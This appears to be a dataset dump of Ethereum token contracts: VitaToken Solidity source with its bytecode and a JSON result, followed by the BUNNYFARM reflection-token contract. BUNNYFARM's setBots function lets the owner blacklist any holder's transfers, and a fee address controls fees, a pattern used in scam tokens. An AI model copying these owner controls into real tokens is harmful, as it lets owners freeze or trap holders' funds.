* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is PausableToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is MintableToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract VitaToken is BurnableToken {
string public name = "VITA Token";
string public symbol = "VITA";
uint256 public decimals = 18;
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012257806306fdde0314610151578063095ea7b3146101e157806318160ddd1461024657806323b872dd14610271578063313ce567146102f65780633f4ba83a1461032157806340c10f191461033857806342966c681461039d5780635c975abb146103ca57806366188463146103f957806370a082311461045e578063715018a6146104b55780637d64bcb4146104cc5780638456cb59146104fb5780638da5cb5b1461051257806395d89b4114610569578063a9059cbb146105f9578063d73dd6231461065e578063dd62ed3e146106c3578063f2fde38b1461073a575b600080fd5b34801561012e57600080fd5b5061013761077d565b604051808215151515815260200191505060405180910390f35b34801561015d57600080fd5b50610166610790565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a657808201518184015260208101905061018b565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ed57600080fd5b5061022c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082e565b604051808215151515815260200191505060405180910390f35b34801561025257600080fd5b5061025b61085e565b6040518082815260200191505060405180910390f35b34801561027d57600080fd5b506102dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610868565b604051808215151515815260200191505060405180910390f35b34801561030257600080fd5b5061030b61089a565b6040518082815260200191505060405180910390f35b34801561032d57600080fd5b506103366108a0565b005b34801561034457600080fd5b50610383600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610960565b604051808215151515815260200191505060405180910390f35b3480156103a957600080fd5b506103c860048036038101908080359060200190929190505050610b46565b005b3480156103d657600080fd5b506103df610b53565b604051808215151515815260200191505060405180910390f35b34801561040557600080fd5b50610444600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b66565b604051808215151515815260200191505060405180910390f35b34801561046a57600080fd5b5061049f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b96565b6040518082815260200191505060405180910390f35b3480156104c157600080fd5b506104ca610bde565b005b3480156104d857600080fd5b506104e1610ce3565b604051808215151515815260200191505060405180910390f35b34801561050757600080fd5b50610510610dab565b005b34801561051e57600080fd5b50610527610e6c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561057557600080fd5b5061057e610e92565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105be5780820151818401526020810190506105a3565b50505050905090810190601f1680156105eb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561060557600080fd5b50610644600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f30565b604051808215151515815260200191505060405180910390f35b34801561066a57600080fd5b506106a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f60565b604051808215151515815260200191505060405180910390f35b3480156106cf57600080fd5b50610724600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f90565b6040518082815260200191505060405180910390f35b34801561074657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611017565b005b600360159054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108265780601f106107fb57610100808354040283529160200191610826565b820191906000526020600020905b81548152906001019060200180831161080957829003601f168201915b505050505081565b6000600360149054906101000a900460ff1615151561084c57600080fd5b610856838361107f565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561088657600080fd5b610891848484611171565b90509392505050565b60065481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108fc57600080fd5b600360149054906101000a900460ff16151561091757600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109be57600080fd5b600360159054906101000a900460ff161515156109da57600080fd5b6109ef8260015461152b90919063ffffffff16565b600181905550610a46826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b610b503382611547565b50565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610b8457600080fd5b610b8e83836116fa565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3a57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4157600080fd5b600360159054906101000a900460ff16151515610d5d57600080fd5b6001600360156101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0757600080fd5b600360149054906101000a900460ff16151515610e2357600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f285780601f10610efd57610100808354040283529160200191610f28565b820191906000526020600020905b815481529060010190602001808311610f0b57829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610f4e57600080fd5b610f58838361198b565b905092915050565b6000600360149054906101000a900460ff16151515610f7e57600080fd5b610f888383611baa565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561107357600080fd5b61107c81611da6565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111ae57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111fb57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561128657600080fd5b6112d7826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061136a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061143b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000818301905082811015151561153e57fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561159457600080fd5b6115e5816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163c81600154611ea290919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561180b576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f565b61181e8382611ea290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156119c857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a1557600080fd5b611a66826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611af9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611c3b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611de257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611eb057fe5b8183039050929150505600a165627a7a72305820f7f983a85ca797a274fb6dc0ca9d22da22780996110840c0962a97ef703a89540029
|
{"success": true, "error": null, "results": {}}
| 9,489 |
0xc0142666e595e54c9bf54655b91c36da573e7b91
|
/**
*
*
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BUNNYFARM is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Bunny Farm Token";
string private constant _symbol = unicode"BNF";
uint8 private constant _decimals = 18;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _noTaxMode = false;
bool private inSwap = false;
uint256 private walletLimitDuration;
struct User {
uint256 buyCD;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if (walletLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
walletLimitDuration = block.timestamp + (60 minutes);
}
function setMarketingWallet (address payable marketingWalletAddress) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[_marketingWalletAddress] = false;
_marketingWalletAddress = marketingWalletAddress;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function excludeFromFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = true;
}
function includeToFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external {
require(_msgSender() == _FeeAddress);
_noTaxMode = onoff;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == _FeeAddress);
require(team <= 7);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == _FeeAddress);
require(tax <= 1);
_taxFee = tax;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
